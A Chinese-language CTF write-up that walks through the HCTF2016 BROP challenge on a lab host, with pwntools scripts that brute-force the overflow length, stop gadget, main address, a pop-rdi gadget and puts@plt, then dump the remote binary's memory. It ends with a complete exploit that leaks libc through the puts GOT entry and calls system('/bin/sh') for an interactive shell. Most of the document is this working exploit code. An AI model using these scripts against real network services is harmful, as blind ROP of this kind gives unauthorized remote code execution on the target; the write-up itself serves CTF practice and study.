BROP
mango

题目是wiki上面的BROP,来自HCTF2016

搭好环境,因为是brop练习,所以就不用ida了。

因为没有二进制文件,略过checksec

1.确定栈溢出长度

测得72。同时可以根据回显发现程序没有开启canary保护。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def get_buf_size():
i = 1
while True:
try:
p = remote("192.168.3.166", 8888)
p.recvuntil(b"WelCome my friend,Do you know password?\n")
p.send(i * "a") # donot sendline
output = p.recv()
p.close()
if not output.startswith(b"No password"):
return i - 1
else:
log.info("%d is not enough" % i)
i += 1
except EOFError:
p.close()
i -= 1
log.info("buf_size is %d" % i)
return i

2.寻找 stop gadget

其实就是找到一个让程序不崩溃的地方,比如函数入口

假设程序没有开启PIE,那么基地址为0x08048000或0x400000

先假设程序是64位的试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def get_stop_addr(buf_size, start_addr=0x400000):  # 32bit:0x08048000
stop_addr = start_addr
while True:
try:
p = remote("192.168.3.166", 8888)
p.recvuntil(b"WelCome my friend,Do you know password?\n")
payload = b"a" * buf_size + p64(stop_addr)
p.sendline(payload)
p.recv()
p.close()
log.info("one success addr: 0x%x" % stop_addr)
return stop_addr
except EOFError:
log.info("one fail addr: 0x%x" % stop_addr)
stop_addr += 1
p.close()
except Exception:
log.info("connect error")
stop_addr -= 1

找这个地址要等好一会,得到一个0x4006b6,确实是64位程序

image-20240129221920396

这里好死不死找到main的地址了,搞得下面出不来。换了一个0x4006ce

3.获取main的地址

获取main的地址这是个笼统的说法,其实是要的地址是到这个地址就会打印WelCome…的地方

如果从程序的基地址 0x400000 开始寻找的话,按照 Linux ELF执行的顺序,优先找到的肯定是 _start 函数,所以这里也可以说是寻找 _start 函数,对于我们的需求来说,找到 _start 和 找到 main 是一样的

既然我们已经找到了 stop_gadget,那么我们就可以把 stop_gadget 的地址放在我们要遍历的地址的下一条指令,这样以便能够获取被遍历的地址的返回结果。但是 _start 函数本身就是一个 stop_gadget,所以我们在这一步就不放置 stop_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def get_main_addr(buf_size, start_addr=0x400660):
main_addr = start_addr
while True:
main_addr += 1
payload = b"a" * buf_size + p64(main_addr)

try:
p = remote("192.168.3.166", 8888)
p.recvuntil(b"WelCome my friend,Do you know password?\n")
p.sendline(payload)
resp = p.recv()
p.close()
log.info(
"find one stop gadget: 0x%x ------------------------------------"
% main_addr
)

if resp.startswith(b"WelCome"):
log.info("find main addr: 0x%x" % main_addr)
return main_addr
except EOFError:
log.info("one fail addr: 0x%x" % main_addr)
p.close()
except Exception:
log.info("connect error")
main_addr -= 1

第一次爆的时候没爆出来,后来发现是前面的stop_gadget找的是main_addr。换了一个就好了。

image-20240131234331501

4.识别 brop gadget

x64Linux 用户空间环境中,参数都是通过寄存器来实现的,具体如下:

内核接口

内核接口使用的寄存器有rdirsirdxr10r8r9。系统调用通过syscall指令完成。除了rcxr11rax,其他的寄存器都被保留。系统调用的编号必须在寄存器 rax 中传递。系统调用的参数限制为6个,不直接从堆栈上传递任何参数。返回时,rax 中包含了系统调用的结果,而且只有 INTEGER 或者 MEMORY 类型的值才会被传递给内核。

用户接口

x86-64 下通过寄存器传递参数,这样做比通过栈具有更高的效率。它避免了内存中参数的存取和额外的指令。根据参数类型的不同,会使用寄存器或传参方式。如果参数的类型是 MEMORY,则在栈上传递参数。如果类型是INTEGER,则顺序使用 rdirsirdxrcxr8r9。所以如果有多于 6 个的 INTEGER 参数,则后面的参数在栈上传递。

什么是 useful gadget 取决于你要利用哪个函数做哪些事,在 BROP 的攻击中基本上都是利用 write 函数和 puts 函数来 dump 内存

puts:

1
2
3
#include <stdio.h>

int puts(const char *s);

puts 函数就一个参数,所以按照用户接口的函数调用约定,只需要在 rdi 寄存器中设置参数就可以了,那我们需要的 useful gadget 就是 pop rdi; ret ,这个 gadget 的意思就是将栈顶的内容存储到 rdi 寄存器中,之后再将更新后的栈顶的地址存储到 RIP 寄存器中,之后系统就会执行 RIP 寄存器中存储的地址所指向的指令

write:

1
2
3
#include <unistd.h>

ssize_t write(int fd, const void *buf, size_t count);

write 函数共有三个参数,所以按照用户接口的函数调用约定,需要分别在 rdi、rsi、rdx分别设置参数,那么需要的useful gadget 就比较复杂了,可以分别找到 pop rdi;retpop rsi;retpop rdx; ret,这三个顺序可以变化,赋值顺序也跟着变就好了,当然也可以进行一些组合,比如 pop rdi;pop rsi;retpop rdx;ret ,当然了,如果你可以直接找到 pop rdi;pop rsi; pop rdx;ret 那就算你牛好了

比较起来,还是 puts 函数容易得多,由于 gcc 在编译 c 代码的过程中,对只有一个参数的 printf 函数有一项优化,也就是使用 puts 函数来替换 printf 函数,所以在有输出的程序中使用了 puts 的可能性还是挺大的。

然后寻找通用gadget,还是__libc_csu_init

https://defuse.ca/online-x86-assembler.htm#disassembly可以查到`pop rdi;ret`的字节码是5FC3

在通用gadget中可以找到:

image-20240131202120912

可以把指针位置调整,从5F开始解析,就可以获取到5FC3了。

现在获取gadget的任务编程了获取第一块gadget的地址

通过gadget的连续六个pop可以作为筛选条件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
def get_useful_gadget(buf_size, stop_gadget, main_addr, start_addr=0x4007B0):
useful_gadget = start_addr
stop_gadget = stop_gadget
main_addr = main_addr

while True:
time.sleep(0.5)
useful_gadget += 1
payload = b"a" * buf_size + p64(useful_gadget) + p64(1) * 6 + p64(main_addr)
try:
p = remote("192.168.3.166", 8888)
p.recvuntil(b"WelCome my friend,Do you know password?\n")
p.sendline(payload)
resp = p.recv(timeout=0.5)
p.close()
log.info(
"find one stop gadget: 0x%x ------------------------------------"
% useful_gadget
)

if resp.startswith(b"WelCome"):
try:
payload = b"a" * buf_size + p64(useful_gadget) + p64(1) * 6
p = remote("192.168.3.166", 8888)
p.recvuntil(b"WelCome my friend,Do you know password?\n")
p.sendline(payload)
resp = p.recv()
p.close()
except EOFError:
log.info("one useful addr: 0x%x" % useful_gadget)
p.close()
return useful_gadget
except EOFError:
log.info("not 0x%x" % useful_gadget)
p.close()
except Exception:
log.info("connect error")
useful_gadget -= 1
image-20240131234621112

pop rdi;ret的地址是gadget+0x9

5.确定 puts@plt 地址

可以控制rdi这个寄存器那么就可以给puts提供参数了。如果执行到某个地址后我们的参数被打印出来了,那么这个地址就是puts的plt地址

有了puts就可以把每个地址的内容都打印出来。

虽然能控制参数,但只能传递一个地址进去,所以必须知道某个地址的内容。

Linux ELF 文件最开始的几个字节是魔数,固定的\x7fELF,那么0x400000存储的内容就是\x7fELF。所以可以把它作为参数,看看遍历到什么地方时回打印出\x7fELF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
def get_puts_plt(buf_size, stop_gadget, main_addr, useful_gadget, start_addr=0x400540):
pop_rdi_ret = useful_gadget + 0x9
elf_magic_addr = 0x400000
puts_plt = start_addr

while True:
time.sleep(0.5)
puts_plt += 1
payload = (
b"a" * buf_size
+ p64(pop_rdi_ret)
+ p64(elf_magic_addr)
+ p64(puts_plt)
+ p64(main_addr)
)
try:
p = remote("192.168.3.166", 8888)
p.recvuntil(b"WelCome my friend,Do you know password?\n")
p.sendline(payload)
resp1 = p.recvline(timeout=0.5)
resp2 = p.recvline(timeout=0.5)

if resp1.startswith(b"\x7fELF") and resp2.startswith(b"WelCome"):
p.close()
log.info("puts_plt: 0x%x" % puts_plt)
return puts_plt
p.close()
log.info(
"find one stop gadget: 0x%x ------------------------------------"
% puts_plt
)
except EOFError:
log.info("not 0x%x" % puts_plt)
p.close()
except Exception:
log.info("connect error")
puts_plt -= 1

要注意recv()和recvline()

image-20240201000359299

其实这里得到的地址和实际有一点偏差,但是都可以起到控制puts的作用,偏差的代码大概是类似滑板的。

6.dump内存

有了puts的plt就可以打印每一个地址的内容了,可以dump内存。

puts 函数通过 \x00 进行截断,并且会在每一次输出末尾加上换行符 \x0a,所以有一些特殊情况需要做一些处理,比如单独的 \x00\x0a 等,首先当然是先去掉末尾 puts 自动加上的 \n,然后如果 recv 到一个 \n,说明内存中是 \x00,如果 recv 到一个 \n\n,说明内存中是 \x0ap.recv(timeout=0.1) 是由于函数本身的设定,如果有 \n\n,它很可能在收到第一个 \n 时就返回了,加上参数可以让它全部接收完。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
def dump_memory(
buf_size,
stop_gadget,
main_addr,
useful_gadget,
puts_plt,
start_addr=0x400000,
end_addr=0x401000,
):
pop_rdi_ret = useful_gadget + 0x9
result = b""

while start_addr < end_addr:
time.sleep(0.5)
payload = (
b"a" * buf_size
+ p64(pop_rdi_ret)
+ p64(start_addr)
+ p64(puts_plt)
+ p64(stop_gadget)
)
try:
p = remote("192.168.3.166", 8888)
p.recvuntil(b"WelCome my friend,Do you know password?\n")
p.sendline(payload)
resp1 = p.recv(timeout=0.5)
# log.info("[++++]leaking: 0x%x --> %s" % (start_addr, (resp or b"").hex()))
# if start_addr == 0x40003E: # and start_addr<=0x40003b:
# log.info(
# "[++++]leaking: 0x%x --> %s" % (start_addr, (resp1 or b"").hex())
# )
# exit()

if resp1 == b"\n":
resp = b"\x00"
elif resp1[-1:] == b"\n":
log.info(
"[++++]leaking: 0x%x --> %s" % (start_addr, (resp or b"").hex())
)
resp = resp1[:-1] + b"\x00"
else:
resp = resp1

if resp != resp1:
log.info(
"[change]resp1: 0x%x: %s --> resp1: 0x%x: %s"
% (
start_addr,
(resp1 or b"").hex(),
start_addr,
(resp or b"").hex(),
)
)

log.info("leaking: 0x%x --> %s" % (start_addr, (resp or b"").hex()))
result += resp
start_addr += len(resp)
p.close()

except Exception as e:
print(e)
log.info("connect error")
start_addr -= 1
return result
image-20240201002736499

在我缓慢的虚拟机上要等差不多十五分钟。

先跑着吧,感觉比赛的靶机经不起这么连呢…

image-20240201012324951

可以使用上面这个工具,但是不知道这次打开为什么是invalid

所以换成ida了

打开binary模式,edit->segments->rebase program 将程序的基地址改为 0x400000,然后找到偏移0x555

image-20240201140720823

看push 0 前面的那个地址0x601018,大概率就是puts的got地址了

7.泄露libc

1
2
3
4
5
6
7
8
9
puts_got = 0x601018
p = remote("192.168.3.166", 8888)
p.recvuntil(b"WelCome my friend,Do you know password?\n")
payload = (
b"a" * buf_size + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
)
p.sendline(payload)
puts_real_addr = u64(p.recvline()[:-1].ljust(8, b"\x00"))
print("puts_real_addr: 0x%x" % puts_real_addr)
image-20240201142012247

8.利用

又遇到了栈对齐

前面的pop rdi;ret的字节码是5f3c,起始地址是useful+9,那么ret的地址就是userful+10

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
from ctypes import *
from struct import pack
from LibcSearcher import *
from pwn import *


def get_buf_size():
i = 1
while True:
try:
p = remote("192.168.3.166", 8888)
p.recvuntil(b"WelCome my friend,Do you know password?\n")
p.send(i * "a") # donot sendline
output = p.recv()
p.close()
if not output.startswith(b"No password"):
return i - 1
else:
log.info("%d is not enough" % i)
i += 1
except EOFError:
p.close()
i -= 1
log.info("buf_size is %d" % i)
return i


def get_stop_addr(buf_size, start_addr=0x4006C0): # 32bit:0x08048000
stop_addr = start_addr
while True:
try:
p = remote("192.168.3.166", 8888)
p.recvuntil(b"WelCome my friend,Do you know password?\n")
payload = b"a" * buf_size + p64(stop_addr)
p.sendline(payload)
p.recv()
p.close()
log.info("one success addr: 0x%x" % stop_addr)
return stop_addr
except EOFError:
log.info("one fail addr: 0x%x" % stop_addr)
stop_addr += 1
p.close()
except Exception:
log.info("connect error")
stop_addr -= 1


def get_main_addr(buf_size, start_addr=0x4006B0):
main_addr = start_addr
while True:
main_addr += 1
payload = b"a" * buf_size + p64(main_addr)

try:
p = remote("192.168.3.166", 8888)
p.recvuntil(b"WelCome my friend,Do you know password?\n")
p.sendline(payload)
resp = p.recv()
p.close()
log.info(
"find one stop gadget: 0x%x ------------------------------------"
% main_addr
)

if resp.startswith(b"WelCome"):
log.info("find main addr: 0x%x" % main_addr)
return main_addr
except EOFError:
log.info("one fail addr: 0x%x" % main_addr)
p.close()
except Exception:
log.info("connect error")
main_addr -= 1


def get_useful_gadget(buf_size, stop_gadget, main_addr, start_addr=0x4007B0):
useful_gadget = start_addr
stop_gadget = stop_gadget
main_addr = main_addr

while True:
time.sleep(0.5)
useful_gadget += 1
payload = b"a" * buf_size + p64(useful_gadget) + p64(1) * 6 + p64(main_addr)
try:
p = remote("192.168.3.166", 8888)
p.recvuntil(b"WelCome my friend,Do you know password?\n")
p.sendline(payload)
resp = p.recv(timeout=0.5)
p.close()
log.info(
"find one stop gadget: 0x%x ------------------------------------"
% useful_gadget
)

if resp.startswith(b"WelCome"):
try:
payload = b"a" * buf_size + p64(useful_gadget) + p64(1) * 6
p = remote("192.168.3.166", 8888)
p.recvuntil(b"WelCome my friend,Do you know password?\n")
p.sendline(payload)
resp = p.recv()
p.close()
except EOFError:
log.info("one useful addr: 0x%x" % useful_gadget)
p.close()
return useful_gadget
except EOFError:
log.info("not 0x%x" % useful_gadget)
p.close()
except Exception:
log.info("connect error")
useful_gadget -= 1


def get_puts_plt(buf_size, stop_gadget, main_addr, useful_gadget, start_addr=0x400540):
pop_rdi_ret = useful_gadget + 0x9
elf_magic_addr = 0x400000
puts_plt = start_addr

while True:
time.sleep(0.5)
puts_plt += 1
payload = (
b"a" * buf_size
+ p64(pop_rdi_ret)
+ p64(elf_magic_addr)
+ p64(puts_plt)
+ p64(main_addr)
)
try:
p = remote("192.168.3.166", 8888)
p.recvuntil(b"WelCome my friend,Do you know password?\n")
p.sendline(payload)
resp1 = p.recvline(timeout=0.5)
resp2 = p.recvline(timeout=0.5)

if resp1.startswith(b"\x7fELF") and resp2.startswith(b"WelCome"):
p.close()
log.info("puts_plt: 0x%x" % puts_plt)
return puts_plt
p.close()
log.info(
"find one stop gadget: 0x%x ------------------------------------"
% puts_plt
)
except EOFError:
log.info("not 0x%x" % puts_plt)
p.close()
except Exception:
log.info("connect error")
puts_plt -= 1


def dump_memory(
buf_size,
stop_gadget,
main_addr,
useful_gadget,
puts_plt,
start_addr=0x400000,
end_addr=0x401000,
):
pop_rdi_ret = useful_gadget + 0x9
result = b""

while start_addr < end_addr:
time.sleep(0.5)
payload = (
b"a" * buf_size
+ p64(pop_rdi_ret)
+ p64(start_addr)
+ p64(puts_plt)
+ p64(stop_gadget)
)
try:
p = remote("192.168.3.166", 8888)
p.recvuntil(b"WelCome my friend,Do you know password?\n")
p.sendline(payload)
resp1 = p.recv(timeout=0.5)
# log.info("[++++]leaking: 0x%x --> %s" % (start_addr, (resp or b"").hex()))
# if start_addr == 0x40003E: # and start_addr<=0x40003b:
# log.info(
# "[++++]leaking: 0x%x --> %s" % (start_addr, (resp1 or b"").hex())
# )
# exit()

if resp1 == b"\n":
resp = b"\x00"
elif resp1[-1:] == b"\n":
log.info(
"[++++]leaking: 0x%x --> %s" % (start_addr, (resp or b"").hex())
)
resp = resp1[:-1] + b"\x00"
else:
resp = resp1

if resp != resp1:
log.info(
"[change]resp1: 0x%x: %s --> resp1: 0x%x: %s"
% (
start_addr,
(resp1 or b"").hex(),
start_addr,
(resp or b"").hex(),
)
)

log.info("leaking: 0x%x --> %s" % (start_addr, (resp or b"").hex()))
result += resp
start_addr += len(resp)
p.close()

except Exception as e:
print(e)
log.info("connect error")
return result


context(log_level="debug", os="linux", arch="amd64")
# get_buf_size()
buf_size = 72

# get_stop_addr(buf_size)
stop_gadget = 0x4006CE

# get_main_addr(buf_size)
main_addr = 0x4006B6

# get_useful_gadget(buf_size, stop_gadget, main_addr)
useful_gadget = 0x4007BA
pop_rdi_ret = useful_gadget + 0x9
# get_puts_plt(buf_size, stop_gadget, main_addr, useful_gadget)
puts_plt = 0x400555

# code_bin = dump_memory(
# buf_size,
# stop_gadget,
# main_addr,
# useful_gadget,
# puts_plt,
# )
# with open("/home/cake/Documents/pwn/wiki/medium_rop/3code.dump", "wb") as f:
# f.write(code_bin)

puts_got = 0x601018
p = remote("192.168.3.166", 8888)
# -----leak real puts-----
p.recvuntil(b"WelCome my friend,Do you know password?\n")
payload = (
b"a" * buf_size + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
)
p.sendline(payload)
puts_real_addr = u64(p.recvline()[:-1].ljust(8, b"\x00"))
print("puts_real_addr: 0x%x" % puts_real_addr)
# -----leak libc
# puts_real_addr = 0x7F2A09ED5E50
libc = LibcSearcher("puts", puts_real_addr)
libc_base = puts_real_addr - libc.dump("puts")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
print("system_addr: 0x%x" % system_addr)
print("binsh_addr: 0x%x" % binsh_addr)
payload = (
b"a" * buf_size
+ p64(useful_gadget + 10)
+ p64(pop_rdi_ret)
+ p64(binsh_addr)
+ p64(system_addr)
+ p64(stop_gadget)
)
p.recvuntil(b"WelCome my friend,Do you know password?\n")
p.sendline(payload)
p.interactive()

参考:

https://cloud.tencent.com/developer/article/1965871 (写得比wiki详细,清楚非常非常多)

由 Hexo 驱动 & 主题 Keep
访客数 访问量